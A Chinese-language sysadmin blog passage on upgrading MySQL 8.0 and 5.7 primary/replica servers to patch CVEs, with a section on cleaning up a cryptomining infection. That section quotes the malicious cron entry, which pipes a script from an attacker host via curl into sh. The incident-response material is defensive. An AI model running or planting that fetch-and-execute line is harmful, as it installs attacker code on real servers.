elfutils-libelf-devel-0.170-4.el7.x86_64 has missing requires of pkgconfig(zlib)
freetype-devel-2.8-14.el7.x86_64 has missing requires of pkgconfig(zlib)
1:libguestfs-1.36.10-6.el7.centos.x86_64 has missing requires of mdadm
2:libpng-devel-1.5.13-7.el7_2.x86_64 has missing requires of zlib-devel(x86-64)
libssh2-devel-1.8.0-3.el7.x86_64 has missing requires of pkgconfig(zlib)
1:openssl-devel-1.0.2k-12.el7.x86_64 has missing requires of zlib-devel(x86-64)
Updating : mysql-community-common-8.0.33-1.el7.x86_64 1/20
Installing : mysql-community-client-plugins-8.0.33-1.el7.x86_64 2/20
Updating : mysql-community-libs-8.0.33-1.el7.x86_64 3/20
Updating : mysql-community-client-8.0.33-1.el7.x86_64 4/20
Installing : mysql-community-icu-data-files-8.0.33-1.el7.x86_64 5/20
Updating : mysql-community-server-8.0.33-1.el7.x86_64 6/20
Installing : mysql-community-server-debug-8.0.33-1.el7.x86_64 7/20
Updating : mysql-community-test-8.0.33-1.el7.x86_64 8/20
Updating : mysql-community-libs-compat-8.0.33-1.el7.x86_64 9/20
Updating : mysql-community-devel-8.0.33-1.el7.x86_64 10/20
Updating : mysql-community-embedded-compat-8.0.33-1.el7.x86_64 11/20
Installing : mysql-community-debuginfo-8.0.33-1.el7.x86_64 12/20
Cleanup : mysql-community-devel-8.0.21-1.el7.x86_64 13/20
Cleanup : mysql-community-test-8.0.21-1.el7.x86_64 14/20
Cleanup : mysql-community-server-8.0.21-1.el7.x86_64 15/20
Cleanup : mysql-community-client-8.0.21-1.el7.x86_64 16/20
Cleanup : mysql-community-embedded-compat-8.0.21-1.el7.x86_64 17/20
Cleanup : mysql-community-libs-compat-8.0.21-1.el7.x86_64 18/20
Cleanup : mysql-community-libs-8.0.21-1.el7.x86_64 19/20
Cleanup : mysql-community-common-8.0.21-1.el7.x86_64 20/20
Verifying : mysql-community-libs-8.0.33-1.el7.x86_64 1/20
Verifying : mysql-community-common-8.0.33-1.el7.x86_64 2/20
Verifying : mysql-community-libs-compat-8.0.33-1.el7.x86_64 3/20
Verifying : mysql-community-embedded-compat-8.0.33-1.el7.x86_64 4/20
Verifying : mysql-community-client-plugins-8.0.33-1.el7.x86_64 5/20
Verifying : mysql-community-server-debug-8.0.33-1.el7.x86_64 6/20
Verifying : mysql-community-debuginfo-8.0.33-1.el7.x86_64 7/20
Verifying : mysql-community-test-8.0.33-1.el7.x86_64 8/20
Verifying : mysql-community-server-8.0.33-1.el7.x86_64 9/20
Verifying : mysql-community-icu-data-files-8.0.33-1.el7.x86_64 10/20
Verifying : mysql-community-client-8.0.33-1.el7.x86_64 11/20
Verifying : mysql-community-devel-8.0.33-1.el7.x86_64 12/20
Verifying : mysql-community-server-8.0.21-1.el7.x86_64 13/20
Verifying : mysql-community-libs-8.0.21-1.el7.x86_64 14/20
Verifying : mysql-community-client-8.0.21-1.el7.x86_64 15/20
Verifying : mysql-community-libs-compat-8.0.21-1.el7.x86_64 16/20
Verifying : mysql-community-embedded-compat-8.0.21-1.el7.x86_64 17/20
Verifying : mysql-community-common-8.0.21-1.el7.x86_64 18/20
Verifying : mysql-community-test-8.0.21-1.el7.x86_64 19/20
Verifying : mysql-community-devel-8.0.21-1.el7.x86_64 20/20
Installed:
mysql-community-client-plugins.x86_64 0:8.0.33-1.el7
mysql-community-debuginfo.x86_64 0:8.0.33-1.el7
mysql-community-icu-data-files.x86_64 0:8.0.33-1.el7
mysql-community-server-debug.x86_64 0:8.0.33-1.el7
Updated:
mysql-community-client.x86_64 0:8.0.33-1.el7
mysql-community-common.x86_64 0:8.0.33-1.el7
mysql-community-devel.x86_64 0:8.0.33-1.el7
mysql-community-embedded-compat.x86_64 0:8.0.33-1.el7
mysql-community-libs.x86_64 0:8.0.33-1.el7
mysql-community-libs-compat.x86_64 0:8.0.33-1.el7
mysql-community-server.x86_64 0:8.0.33-1.el7
mysql-community-test.x86_64 0:8.0.33-1.el7
Complete!
#验证
mysql -V
mysql -uroot -p --execute="select version()"
更多参看：Upgrading MySQL with Directly-Downloaded RPM Packages
五、挖矿病毒
肉鸡 弱口令 webshell xss 软件漏洞bug redis zk mysql 0day yarn等都会造成服务器被扫描并且提权。
#恶意定时任务，ip为192.64.119.254 w.3ei.xyz，归属：美国 亚利桑那州 凤凰城
*/6 * * * * curl -fsSL http://w.21-3n.xyz:43768/init.sh | sh > /dev/null 2>&1
#网络连接查看
lsof -i
netstat -plunt
#本地封堵
iptables -I INPUT -s 192.64.119.254 -j DROP
iptables -A INPUT -s w.21-3n.xyz -j DROP
iptables -A OUTPUT -d w.21-3n.xyz -j DROP
#查看登录日志
last 或者 last -f /var/log/wtmp
#定时任务删除不了的，执行
chattr -ia /etc/cron.d/root
chattr -ia /etc/crontab
chattr -ia /var/spool/cron/root
chattr -ia /etc/hosts
#正常权限如下
-------------e-- /var/spool/cron/root
#history命令检查：一定留意有没有用 wget 或 curl命令来下载类似垃圾邮件机器人或者挖矿程序之类的非常规软件。命令历史存储在~/.bash_history文件中，因此有些攻击者会删除该文件以掩盖他们的所作所为。跟登录历史一样，若运行history 命令却没有输出任何东西那就表示历史文件被删掉了。
#查看异常进程
strace -p PID或lsof-p PID //查看该进程调用的所有系统调用
#Linux后门入 侵检测工具chkrootkit、RKHunter检查
#僵死进程处理
ps aux | grep 'defunct'
或
ps -ef | grep defunct | grep -v grep | wc -l
#清理僵尸进程
ps -e -o ppid,stat | grep Z | cut -d" " -f2 | xargs kill -9
或
kill -HUP ps -A -ostat,ppid | grep -e '^[Zz]' | awk '{print $2}'
六、后续漏洞再次升级到mysql 5.7.43
1）漏洞描述
Oracle MySQL Cluster 安全漏洞(CVE-2023-0361)，Oracle MySQL 安全漏洞(CVE-2023-22053)、Oracle MySQL 安全漏洞(CVE-2023-22054)、Oracle MySQL 安全漏洞(CVE-2023-22008)、Oracle MySQL 安全漏洞(CVE-2023-22046)、Oracle MySQL 安全漏洞(CVE-2023-22056)、Oracle MySQL Server 安全漏洞(CVE-2023-22057、Oracle MySQL Server 安全漏洞(CVE-2023-22058)、Oracle MySQL 安全漏洞(CVE-2023-22033)、Oracle MySQL 安全漏洞(CVE-2023-22005)
2）修复措施：
升级MySQL到5.7.43 版本
3）修复过程
wget --no-check-certificate https://dev.mysql.com/get/Downloads/MySQL-5.7/mysql-5.7.43-1.el7.x86_64.rpm-bundle.tar
md5sum mysql-5.7.43-1.el7.x86_64.rpm-bundle.tar //输出MD5: 7efa4ff0e6ab429cf570428e50e9c6d9
#二进制包下载，编译安装二进制替换
wget --no-check-certificate https://dev.mysql.com/get/Downloads/MySQL-5.7/mysql-5.7.43-linux-glibc2.12-x86_64.tar.gz
md5sum mysql-5.7.43-linux-glibc2.12-x86_64.tar.gz //输出MD5: 4f49e175c5e9cd22fbf1655537a18125
#备份
/usr/local/mysql/bin/mysqldump -uroot -p --all-databases >/opt/mysql_db_bak/mysql_all_`date +%Y%m%d`.sql
#验证
du -sh /opt/mysql_db_bak/*
1.2G /opt/mysql_db_bak/mysql_20230621.sql
1.2G /opt/mysql_db_bak/mysql_20230709.sql
1.2G /opt/mysql_db_bak/mysql_20230716.sql
1.2G /opt/mysql_db_bak/mysql_20230723.sql
1.2G /opt/mysql_db_bak/mysql_20230730.sql
1.3G /opt/mysql_db_bak/mysql_all_20230805.sql
#解压
tar -xzf mysql-5.7.43-linux-glibc2.12-x86_64.tar.gz
mv mysql-5.7.43-linux-glibc2.12-x86_64 mysql-5.7.43
cd mysql-5.7.43
ls ./bin/ #验证
ps aux|grep mysql
systemctl status mysqld #确认如下mysql位置和pid是否与ps的一致，现场是一致的
● mysqld.service - LSB: start and stop MySQL
Loaded: loaded (/etc/rc.d/init.d/mysqld; bad; vendor preset: disabled)
Active: active (running) since Thu 2023-06-22 13:35:38 CST; 1 months 14 days ago
Docs: man:systemd-sysv-generator(8)
CGroup: /system.slice/mysqld.service
├─2666 /bin/sh /usr/local/mysql/bin/mysqld_safe --datadir=/usr/local/mysql/data --pid-file=/var/run/mysqld/mysqld.pid
└─3010 /usr/local/mysql/bin/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data --plugin-dir=/usr/local/mysql/lib/plugin ...
Jun 22 13:35:37 zq-mysql-master systemd[1]: Starting LSB: start and stop MySQL...
Jun 22 13:35:38 zq-mysql-master mysqld[2653]: Starting MySQL. SUCCESS!
Jun 22 13:35:38 zq-mysql-master systemd[1]: Started LSB: start and stop MySQL.
#查看mysql master是否开启缓慢关停
mysql -u root -p
mysql> select @@innodb_fast_shutdown;
+------------------------+
| @@innodb_fast_shutdown |
+------------------------+
| 1 |
+------------------------+
1 row in set (0.01 sec)
mysql> SET GLOBAL innodb_fast_shutdown=0; #否则执行
//缓慢关闭服务的作用：关闭时，InnoDB会在关闭前执行完全purge和变化的缓冲区合并，以确保在版本之间出现文件格式差异时，data files已做好准备。
#或直接执行如下命令
mysql -u root -p --execute="SET GLOBAL innodb_fast_shutdown=0"
mysqladmin -u root -p shutdown
#现场直接
systemctl stop mysqld
systemctl status mysqld //验证确认
ps aux|grep mysql
#替换二进制文件
mv bin bin_5.7.42 //备份源二进制
cp -pr /home/ygcg/mysql-5.7.43/bin ./ //新的二进制目录迁移到MySQL生产目录下替换二进制
ll -d bin* //检查权限
drwxr-xr-x 2 root root 4096 Aug 6 00:17 bin
drwxr-xr-x 2 mysql mysql 4096 Jun 22 12:10 bin_5.7.42
chown -R mysql.mysql ./bin //授权
ll -d bin* //再次验证
drwxr-xr-x 2 mysql mysql 4096 Aug 6 00:17 bin
drwxr-xr-x 2 mysql mysql 4096 Jun 22 12:10 bin_5.7.42
#重启mysql服务
systemctl start mysqld
systemctl status mysqld //
#备库检查主从一致性
mysql> show slave status\G
*************************** 1. row ***************************
Slave_IO_State: Waiting for master to send event
Master_Host: 18.3
Master_User: repl
Master_Port: 3306
Connect_Retry: 60
Master_Log_File: master-bin.000054
Read_Master_Log_Pos: 11916
Relay_Log_File: slave-relay-bin.000011
Relay_Log_Pos: 12131
Relay_Master_Log_File: master-bin.000054
Slave_IO_Running: Yes
Slave_SQL_Running: Yes
##检查数据库所有表是否与当前版本兼容，并更新系统库
./bin/mysql_upgrade -u root -p //更新数据库表，它会检查所有数据库中的所有表是否与当前版本的MySQL不兼容。mysqlupgrade还回升级了mysql系统数据库，以便可以利用新的权限或功能。注意：它不会升级时区表或帮助表的内容。
Enter password:
Checking if update is needed.
Checking server version.
Running queries to upgrade MySQL server.
Checking system database.
mysql.columns_priv OK
mysql.db OK
……
mysql.user OK
The sys schema is already up to date (version 1.5.2).
Checking databases.
cr_debug.breakpoints OK
……
xxl-job.xxl_job_qrtz_triggers OK
Upgrade process completed successfully.
Checking if update is needed.
//版本验证
mysql -V //输出如下
mysql Ver 14.14 Distrib 5.7.43, for linux-glibc2.12 (x86_64) using EditLine wrapper
//再次备库检查主从一致性
mysql> show slave status\G #一般正常
####################### 至此，mysql主从替换就地升级完成，总体简单易上手，提前做好备份即可##################
#备库升级，步骤基本同上，但是需要先在主库加表级锁
//主库升级后锁定
mysql> flush tables with read lock;
Query OK, 0 rows affected (2 min 20.53 sec)
mysql> select @@innodb_fast_shutdown;
+------------------------+
| @@innodb_fast_shutdown |
+------------------------+
| 1 |
+------------------------+
1 row in set (0.00 sec)
#验证服务关停与ps显示一致，即下面的20487和2135进程一致
systemctl status mysqld
● mysqld.service - LSB: start and stop MySQL
Loaded: loaded (/etc/rc.d/init.d/mysqld; bad; vendor preset: disabled)
Active: active (running) since Thu 2023-06-22 13:31:51 CST; 1 months 14 days ago
Docs: man:systemd-sysv-generator(8)
CGroup: /system.slice/mysqld.service
├─20847 /bin/sh /usr/local/mysql/bin/mysqld_safe --datadir=/usr/local/mysql/data --pid-file=/var/run/mysqld/mysqld.pid
└─21353 /usr/local/mysql/bin/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data --plugin-dir=/usr/local/mysql/lib/plugin...
Jun 22 13:31:50 mysql-slaver systemd[1]: Starting LSB: start and stop MySQL...
Jun 22 13:31:51 mysql-slaver mysqld[20834]: Starting MySQL. SUCCESS!
Jun 22 13:31:51 mysql-slaver systemd[1]: Started LSB: start and stop MySQL.
systemctl stop mysqld //关停备库
#解压替换
mv bin bin_5.7.42 //备份源二进制
cp -pr /home/ygcg/mysql-5.7.43/bin ./ //新的二进制目录迁移到MySQL生产目录下替换二进制
chown -R mysql.mysql ./bin/
ll -d bin* //检查权限
drwxr-xr-x 2 mysql mysql 4096 Aug 6 00:24 bin
drwxr-xr-x 2 mysql mysql 4096 Jun 22 13:16 bin_5.7.42
systemctl start mysqld //重新启动
#更新检查
./bin/mysql_upgrade -u root -p //最后输出如下
Upgrade process completed successfully.
Checking if update is needed.
#验证进程一致性
ps aux|grep mysqld
systemctl status mysqld
mysql -V //输出如下
mysql Ver 14.14 Distrib 5.7.43, for linux-glibc2.12 (x86_64) using EditLine wrapper
#登录备库再次验证主从一致性，一般正常
mysql> show slave status\G
#主库解锁，并观察主从一致性，最终确认即可
mysql> unlock tables;
Query OK, 0 rows affected (0.02 sec)
//至此，MySQL升级完成，祝你也好运！
change master to master_host = '172.16.18.8', master_user = 'repl', master_port=3306, master_password='123456', master_log_file = 'mysql-bin.000030', master_log_pos=243429723;
create table `xxl_job_qrtz_scheduler_state` (\
`SCHED_NAME` varchar(120) NOT NULL,
`INSTANCE_NAME` varchar(200) NOT NULL,
`LAST_CHECKIN_TIME` bigint(13) NOT NULL,
`CHECKIN_INTERVAL` bigint(13) NOT NULL,
PRIMARY KEY (`SCHED_NAME`,`INSTANCE_NAME`)
)ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
4）过程报错处理
1、ERROR 1051 (42S02): Unknown table …… 2、ERROR 1146 (42S02): Table ‘xxl-job.xxl_job_qrtz_scheduler_state’ doesn’t exist 3、ERROR 1813 (HY000): Tablespace ‘xxl-job.xxl_job_qrtz_scheduler_state’ exists. 4、ERROR 1060 (42S21): Duplicate column name ‘CHECKIN_INTERVAL’
对上图中的执行：rm -rf /tmp/mysql.sock.lock，然后执行：/etc/rc.d/init.d/mysqld start，这时就可成功，之后stop了，执行systemctl start mysqld启动 注：采用创建临时库，创建同名表，复制该表目录下的frm文件到确实的xxlku下未生效，报其他错误，经过一番调试，最终还是报表空间已存在，最后索性删了重建，因该表只有一条数据
执行上述操作完成后，再次执行：./bin/mysql_upgrade -uroot -p --force，检查正常
5）Mysql 5.7.43版本新的漏洞
该版本涉及2个高危漏洞，2个中危漏洞，升级到mysql server8.0.35或5.7.44即可，过程同上，选用Linux通用版本，新进行备库升级，确认正常后，切换后（如不满足，热升级），再执行主库，或参看官方升级过程。如下所示：
漏洞编码漏洞描述影响范围CVE-2023-38545CVE-2023-38546涉及编译时引入的curl关联漏洞，该漏洞源于允许高权限攻击者通过多种协议进行网络访问来危害 MySQL 服务器，更多请参看：CVE-2023-38545MySQL Server 5.7.43及之前版本，8.0.33及之前版本和8.1.0存在安全漏洞,在 8.0.35/5.7.44中被修复CVE-2023-22084该漏洞涉及Inn哦DB引擎，源于允许高权限攻击者通过多种协议进行网络访问来危害 MySQL 服务器，成功利用上述漏洞的攻击者可以在目标系统上执行任意代码、获取用户数据，提升权限等，更多参看：2023安全报告MySQL Server 5.7.43及之前版本，8.0.33及之前版本和8.1.0存在安全漏洞，也是在mysql server8.0.35和5.7.44中被修复CVE-2023-22028涉及Server: Optimizer，同上5.7.43及之前版本，8.0.31及之前版本存在安全漏洞存在安全漏洞，在mysql server8.0.35和5.7.44中被修复
现场验证：升级mysql 5.7.44过程与上完全相同，未出现异常错误
七、Mysql通用防范措施
1）数据传输安全
MySQL服务器与客户端之间的数据传输安全是一个重要的层面，即使在内网，尤其是在使用不安全的网络连接时更为突出。增强数据传输的机密性和完整性是我们必须考虑的，可以采用以下几种方式进行加密和保护：
SSL/TLS加密
通过在MySQL服务器和客户端之间建立SSL/TLS加密连接，可以有效地保护数据传输过程中的机密性和完整性。可以使用自签名证书或者受信任的第三方证书机构颁发的证书来配置SSL/TLS加密。此外，还应定期更新证书、密钥，并确保SSL/TLS协议的强度和安全性。
限制不安全的网络访问
通过限制MySQL服务器的网络访问，可以有效地减少受到攻击的风险。可以使用防火墙规则、网络ACL等方法，限制只允许特定IP地址或者IP地址段进行访问MySQL服务器。同时，还应禁用不安全的网络协议和服务，如Telnet、FTP等。
2）访问控制和身份验证
MySQL的访问控制和身份验证能有效保护数据库只有经过授权的用户才能够对数据库进行操作，防止未经授权的用户进行恶意操作和攻击。
安全的密码策略
合理的密码策略是保护MySQL数据库的关键。应该要求用户使用复杂的密码，并设置密码过期策略、密码强度验证等。此外，还应禁止使用默认密码，并提醒用户定期更换密码。
强制身份验证
MySQL支持多种身份验证方式，如本地验证、LDAP验证等。应选择安全性较高的身份验证方式，并在MySQL配置中强制启用该方式，以确保只有经过身份验证的用户才能够访问数据库。
3）合适的权限管理
MySQL的合适的权限管可以有效控制对数据库的操作范围，防止未经授权的用户进行恶意操作和数据泄露。
最小权限原则
根据最小权限原则，为每个用户分配最低限度的权限，只赋予其必要的操作权限。这样可以减少用户滥用权限的风险，提高数据库的安全性。
定期审计用户权限
定期审计用户的权限是保护数据库安全的重要环节。通过定期检查和评估用户的权限配置，及时发现和纠正不合理的权限设置，以确保用户权限的合理性和安全性。
4）防止SQL注入攻击
SQL注入攻击是MySQL数据库常见的安全威胁之一。攻击者通过构造恶意的SQL语句，利用应用程序的漏洞来注入恶意代码并执行非法操作。除定期内外扫描，sql渗透测试外，为防止SQL注入攻击，还可以采取以下几种措施。
输入验证和过滤
对于用户输入的数据，应该进行有效的验证和过滤，确保数据的合法性和完整性。可以使用正则表达式、过滤函数等方法来检查和过滤用户输入的数据。
参数化查询
采用参数化查询可以避免将用户输入的数据直接嵌入到SQL语句中，从而减少SQL注入攻击的风险。通过使用预编译语句和占位符，将用户输入的参数与SQL语句分离，确保数据的安全性。
相关阅读
您阅读本篇文章共花了：
发表评论